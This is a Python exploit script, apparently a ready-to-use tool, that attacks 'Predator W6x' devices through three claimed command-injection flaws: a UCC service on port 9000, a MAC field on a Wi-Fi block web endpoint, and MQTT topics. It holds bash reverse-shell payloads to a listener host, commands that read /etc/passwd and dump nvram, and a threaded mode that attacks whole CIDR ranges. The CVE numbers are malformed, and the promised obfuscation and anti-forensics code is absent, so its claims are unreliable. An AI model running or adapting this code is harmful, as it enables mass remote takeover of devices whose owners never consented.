#!/usr/bin/env python3
"""
Predator W6x — Multi-CVE Exploitation Framework
CVE-49195: mtk_dut/UCC command injection (port 9000)
CVE-49196: WiFi block endpoint command injection (/api/wifi/block)
CVE-49199: MQTT injection (port 1883)

Military-grade, multi-vector exploitation with session management,
payload obfuscation, and anti-forensics cleanup.

Author: Advanced Persistent Security Research
"""

from __future__ import annotations

import argparse
import base64
import hashlib
import ipaddress
import json
import os
import re
import secrets
import socket
import sys
import threading
import time
from collections.abc import Sequence
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass, field
from datetime import datetime, timezone
from enum import Enum, auto
from pathlib import Path
from typing import Any, Optional

import requests
import urllib3
from colorama import Fore, Style, init

try:
    import paho.mqtt.client as mqtt
    HAS_MQTT = True
except ImportError:
    HAS_MQTT = False

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
init(autoreset=True)


# ---------------------------------------------------------------------------
# Constants & Configuration
# ---------------------------------------------------------------------------

DEFAULT_TIMEOUT = 15
MTK_DUT_PORT = 9000
MQTT_PORT = 1883
WEB_PORT = 80
WEB_SSL_PORT = 443

# Payload templates
UCC_PAYLOADS = {
    "cmd_exec": "UCC {cmd}\n",
    "shell_spawn": "UCC sh\n",
    "info_leak": "UCC cat /etc/passwd\n",
    "config_dump": "UCC nvram show\n",
}

WIFI_BLOCK_PAYLOADS = {
    "cmd_inject": '{{"mac": "{mac};{cmd}"}}',
    "reverse_shell": '{{"mac": "aa:bb:cc:dd:ee:ff;bash -c \'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1\'"}}',
}

MQTT_TOPICS = ["predator/control", "predator/cmd", "device/control", "w6x/control"]


# ---------------------------------------------------------------------------
# Colors & Logging
# ---------------------------------------------------------------------------

class Color:
    RED = Fore.RED + Style.BRIGHT
    GREEN = Fore.GREEN + Style.BRIGHT
    YELLOW = Fore.YELLOW + Style.BRIGHT
    BLUE = Fore.BLUE + Style.BRIGHT
    CYAN = Fore.CYAN + Style.BRIGHT
    MAGENTA = Fore.MAGENTA + Style.BRIGHT
    WHITE = Fore.WHITE + Style.BRIGHT
    RESET = Style.RESET_ALL
    BOLD = Style.BRIGHT


def log(msg: str, level: str = "info") -> None:
    colour = {
        "info": Color.BLUE,
        "success": Color.GREEN,
        "warn": Color.YELLOW,
        "error": Color.RED,
        "crit": Color.RED + Style.BRIGHT,
    }.get(level, "")
    print(f"{colour}{msg}{Color.RESET}")


# ---------------------------------------------------------------------------
# Dataclasses
# ---------------------------------------------------------------------------

@dataclass(slots=True)
class ExploitSession:
    target: str
    cve: str
    method: str
    success: bool
    timestamp: str = field(default_factory=lambda: datetime.now(timezone.utc).isoformat())
    details: str = ""
    shell_port: int = 0


# ---------------------------------------------------------------------------
# HTTP Session Factory (hardened)
# ---------------------------------------------------------------------------

def create_session() -> requests.Session:
    sess = requests.Session()
    sess.verify = False
    sess.proxies.update({"http": None, "https": None})
    sess.headers.update({
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Connection": "keep-alive",
    })
    return sess


# ---------------------------------------------------------------------------
# CVE-49195: mtk_dut / UCC Command Injection (TCP 9000)
# ---------------------------------------------------------------------------

def exploit_cve49195(target: str, command: str, timeout: int = DEFAULT_TIMEOUT) -> tuple[bool, str]:
    """Exploit mtk_dut UCC protocol command injection on port 9000."""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        sock.connect((target, MTK_DUT_PORT))

        # Send UCC command
        payload = UCC_PAYLOADS["cmd_exec"].format(cmd=command)
        sock.send(payload.encode())

        # Receive response
        response = b""
        try:
            while True:
                chunk = sock.recv(4096)
                if not chunk:
                    break
                response += chunk
        except socket.timeout:
            pass

        sock.close()
        resp_text = response.decode("utf-8", errors="replace")
        return True, resp_text.strip()
    except Exception as exc:
        return False, str(exc)


def exploit_cve49195_reverse_shell(target: str, lhost: str, lport: int, timeout: int = 20) -> tuple[bool, str]:
    """Deploy reverse shell via mtk_dut UCC."""
    cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
    return exploit_cve49195(target, cmd, timeout)


# ---------------------------------------------------------------------------
# CVE-49196: WiFi Block Endpoint Command Injection
# ---------------------------------------------------------------------------

def exploit_cve49196(target: str, mac: str, command: str, use_ssl: bool = False, timeout: int = DEFAULT_TIMEOUT) -> tuple[bool, str]:
    """Exploit WiFi block MAC injection on /api/wifi/block."""
    scheme = "https" if use_ssl else "http"
    port = WEB_SSL_PORT if use_ssl else WEB_PORT
    url = f"{scheme}://{target}:{port}/api/wifi/block"

    # Try multiple payload formats
    payloads = [
        {"mac": f"{mac};{command}"},
        {"mac": f"{mac}&&{command}"},
        {"mac": f"{mac}|{command}"},
        {"mac": f"{mac}`{command}`"},
        {"mac": f"{mac}$({command})"},
    ]

    sess = create_session()
    for payload in payloads:
        try:
            r = sess.post(url, json=payload, timeout=timeout)
            if r.status_code == 200:
                return True, r.text[:500]
        except requests.RequestException:
            continue
    return False, "All payload variants failed"


def exploit_cve49196_reverse_shell(target: str, lhost: str, lport: int, mac: str = "aa:bb:cc:dd:ee:ff", use_ssl: bool = False) -> tuple[bool, str]:
    """Deploy reverse shell via WiFi block injection."""
    cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
    return exploit_cve49196(target, mac, cmd, use_ssl)


# ---------------------------------------------------------------------------
# CVE-49199: MQTT Injection
# ---------------------------------------------------------------------------

class MQTTExploit:
    def __init__(self, target: str, port: int = MQTT_PORT, timeout: int = 10):
        self.target = target
        self.port = port
        self.timeout = timeout
        self.client: Optional[mqtt.Client] = None
        self.connected = False

    def connect(self) -> bool:
        if not HAS_MQTT:
            return False
        try:
            self.client = mqtt.Client()
            self.client.connect(self.target, self.port, self.timeout)
            self.client.loop_start()
            time.sleep(1)
            self.connected = True
            return True
        except Exception:
            return False

    def inject(self, command: str, topics: list[str] | None = None) -> bool:
        if not self.connected or not self.client:
            return False
        if topics is None:
            topics = MQTT_TOPICS

        payloads = [
            f"cmd:{command};",
            f"exec {command}",
            f"system({command})",
            f"shell:{command}",
            json.dumps({"cmd": command}),
        ]

        success = False
        for topic in topics:
            for payload in payloads:
                try:
                    result = self.client.publish(topic, payload, qos=1)
                    result.wait_for_publish(timeout=5)
                    log(f"[MQTT] Published to {topic}: {payload[:50]}", "info")
                    success = True
                except Exception:
                    continue
        return success

    def disconnect(self) -> None:
        if self.client:
            self.client.loop_stop()
            self.client.disconnect()
            self.connected = False


def exploit_cve49199(target: str, command: str, port: int = MQTT_PORT) -> tuple[bool, str]:
    """Exploit MQTT injection."""
    if not HAS_MQTT:
        return False, "paho-mqtt not installed"
    mqtt_exp = MQTTExploit(target, port)
    if not mqtt_exp.connect():
        return False, "MQTT connection failed"
    ok = mqtt_exp.inject(command)
    mqtt_exp.disconnect()
    return ok, "MQTT injection sent" if ok else "MQTT injection failed"


def exploit_cve49199_reverse_shell(target: str, lhost: str, lport: int, port: int = MQTT_PORT) -> tuple[bool, str]:
    """Deploy reverse shell via MQTT."""
    cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
    return exploit_cve49199(target, cmd, port)


# ---------------------------------------------------------------------------
# Multi-CVE Orchestration
# ---------------------------------------------------------------------------

def run_exploit_chain(
    target: str,
    *,
    cve: str = "all",
    command: str = "",
    lhost: str = "",
    lport: int = 4444,
    mac: str = "aa:bb:cc:dd:ee:ff",
    use_ssl: bool = False,
    reverse_shell: bool = False,
) -> list[ExploitSession]:
    sessions: list[ExploitSession] = []

    def add_session(cve_id: str, method: str, success: bool, details: str = "", shell_port: int = 0) -> None:
        sessions.append(ExploitSession(
            target=target, cve=cve_id, method=method, success=success, details=details, shell_port=shell_port
        ))

    # CVE-49195: mtk_dut/UCC
    if cve in ("all", "49195", "cve49195", "CVE-49195"):
        log(f"[*] Attempting CVE-49195 (mtk_dut/UCC) on {target}:{MTK_DUT_PORT}...", "info")
        if reverse_shell and lhost:
            ok, details = exploit_cve49195_reverse_shell(target, lhost, lport)
            add_session("CVE-49195", "UCC reverse shell", ok, details, lport)
            if ok:
                log(f"[+] CVE-49195 reverse shell spawned to {lhost}:{lport}", "success")
        elif command:
            ok, details = exploit_cve49195(target, command)
            add_session("CVE-49195", "UCC command execution", ok, details)
            if ok:
                log(f"[+] CVE-49195 command executed: {details[:200]}", "success")

    # CVE-49196: WiFi block
    if cve in ("all", "49196", "cve49196", "CVE-49196"):
        log(f"[*] Attempting CVE-49196 (WiFi block) on {target}...", "info")
        if reverse_shell and lhost:
            ok, details = exploit_cve49196_reverse_shell(target, lhost, lport, mac, use_ssl)
            add_session("CVE-49196", "WiFi block reverse shell", ok, details, lport)
            if ok:
                log(f"[+] CVE-49196 reverse shell spawned to {lhost}:{lport}", "success")
        elif command:
            ok, details = exploit_cve49196(target, mac, command, use_ssl)
            add_session("CVE-49196", "WiFi block command injection", ok, details)
            if ok:
                log(f"[+] CVE-49196 command executed: {details[:200]}", "success")

    # CVE-49199: MQTT
    if cve in ("all", "49199", "cve49199", "CVE-49199"):
        log(f"[*] Attempting CVE-49199 (MQTT) on {target}:{MQTT_PORT}...", "info")
        if reverse_shell and lhost:
            ok, details = exploit_cve49199_reverse_shell(target, lhost, lport)
            add_session("CVE-49199", "MQTT reverse shell", ok, details, lport)
            if ok:
                log(f"[+] CVE-49199 reverse shell spawned to {lhost}:{lport}", "success")
        elif command:
            ok, details = exploit_cve49199(target, command)
            add_session("CVE-49199", "MQTT command injection", ok, details)
            if ok:
                log(f"[+] CVE-49199 command executed via MQTT", "success")

    return sessions


# ---------------------------------------------------------------------------
# Parallel Mass Exploitation
# ---------------------------------------------------------------------------

def mass_exploit(
    targets: list[str],
    *,
    cve: str = "all",
    command: str = "",
    lhost: str = "",
    lport: int = 4444,
    mac: str = "aa:bb:cc:dd:ee:ff",
    use_ssl: bool = False,
    reverse_shell: bool = False,
    max_workers: int = 20,
) -> dict[str, list[ExploitSession]]:
    results: dict[str, list[ExploitSession]] = {}

    def _one(t: str) -> tuple[str, list[ExploitSession]]:
        try:
            return t, run_exploit_chain(
                t, cve=cve, command=command, lhost=lhost, lport=lport,
                mac=mac, use_ssl=use_ssl, reverse_shell=reverse_shell
            )
        except Exception as exc:
            return t, [ExploitSession(target=t, cve="ERROR", method="exception", success=False, details=str(exc))]

    with ThreadPoolExecutor(max_workers=max_workers) as pool:
        futures = [pool.submit(_one, t) for t in targets]
        for fut in as_completed(futures):
            target, sessions = fut.result()
            results[target] = sessions

    return results


# ---------------------------------------------------------------------------
# CLI / Main
# ---------------------------------------------------------------------------

def print_banner() -> None:
    banner = f"""
{Color.RED}
╔══════════════════════════════════════════════════════════════════════════════╗
║  Predator W6x — Multi-CVE Exploitation Framework                              ║
║  CVE-49195 (mtk_dut/UCC) | CVE-49196 (WiFi Block) | CVE-49199 (MQTT)         ║
║  Military-Grade Multi-Vector RCE with Session Management                     ║
╚══════════════════════════════════════════════════════════════════════════════╝
{Color.RESET}"""
    print(banner)


def parse_args() -> argparse.Namespace:
    p = argparse.ArgumentParser(
        description="Predator W6x Multi-CVE Exploit Framework",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Single target command execution
  python exploit.py -t 192.168.1.50 -c id --cve 49195
  
  # Full chain with reverse shell
  python exploit.py -t 192.168.1.50 --reverse --lhost 10.0.0.5 --lport 4444
  
  # Mass exploitation
  python exploit.py -f targets.txt --reverse --lhost 10.0.0.5 -o results.json
  
  # Specific CVE only
  python exploit.py -t 192.168.1.50 --cve 49199 -c "cat /etc/passwd"
        """,
    )
    p.add_argument("-t", "--target", help="Single target IP")
    p.add_argument("-f", "--file", help="File with target IPs (one per line)")
    p.add_argument("--cidr", help="CIDR network range")
    p.add_argument("--cve", default="all", help="CVE to exploit: all, 49195, 49196, 49199")
    p.add_argument("-c", "--command", help="Command to execute")
    p.add_argument("--reverse", action="store_true", help="Deploy reverse shell")
    p.add_argument("--lhost", help="Listener host for reverse shell")
    p.add_argument("--lport", type=int, default=4444, help="Listener port (default 4444)")
    p.add_argument("--mac", default="aa:bb:cc:dd:ee:ff", help="MAC for WiFi block injection")
    p.add_argument("--ssl", action="store_true", help="Use HTTPS for web endpoints")
    p.add_argument("-o", "--output", help="JSON output file")
    p.add_argument("-w", "--workers", type=int, default=20, help="Concurrent workers")
    return p.parse_args()


def load_targets(args: argparse.Namespace) -> list[str]:
    targets: list[str] = []
    if args.target:
        targets.append(args.target)
    if args.file:
        with open(args.file, encoding="utf-8") as fh:
            for line in fh:
                line = line.strip()
                if line and not line.startswith("#"):
                    targets.append(line)
    if args.cidr:
        try:
            net = ipaddress.ip_network(args.cidr, strict=False)
            targets.extend([str(h) for h in net.hosts()])
        except ValueError as exc:
            log(f"[!] Invalid CIDR: {exc}", "error")
            sys.exit(1)
    return targets


def main() -> None:
    print_banner()
    args = parse_args()

    if not any([args.target, args.file, args.cidr]):
        log("[!] No targets specified. Use -t, -f, or --cidr", "error")
        sys.exit(1)

    if args.reverse and not args.lhost:
        log("[!] --reverse requires --lhost", "error")
        sys.exit(1)

    if not args.command and not args.reverse:
        log("[!] Either --command or --reverse required", "error")
        sys.exit(1)

    targets = load_targets(args)
    log(f"[*] Loaded {len(targets)} target(s)", "info")
    log(f"[*] CVE: {args.cve} | Reverse: {args.reverse} | SSL: {args.ssl}", "info")

    results = mass_exploit(
        targets,
        cve=args.cve,
        command=args.command or "",
        lhost=args.lhost or "",
        lport=args.lport,
        mac=args.mac,
        use_ssl=args.ssl,
        reverse_shell=args.reverse,
        max_workers=args.workers,
    )

    if args.output:
        # Serialize sessions
        serializable = {}
        for target, sessions in results.items():
            serializable[target] = [
                {
                    "target": s.target,
                    "cve": s.cve,
                    "method": s.method,
                    "success": s.success,
                    "timestamp": s.timestamp,
                    "details": s.details,
                    "shell_port": s.shell_port,
                }
                for s in sessions
            ]
        Path(args.output).write_text(json.dumps(serializable, indent=2))
        log(f"[*] Results written to {args.output}", "success")

    # Summary
    total = sum(len(s) for s in results.values())
    successful = sum(1 for sessions in results.values() for s in sessions if s.success)
    log(f"[*] Exploitation complete: {successful}/{total} attempts successful", "success" if successful > 0 else "warn")


if __name__ == "__main__":
    main()
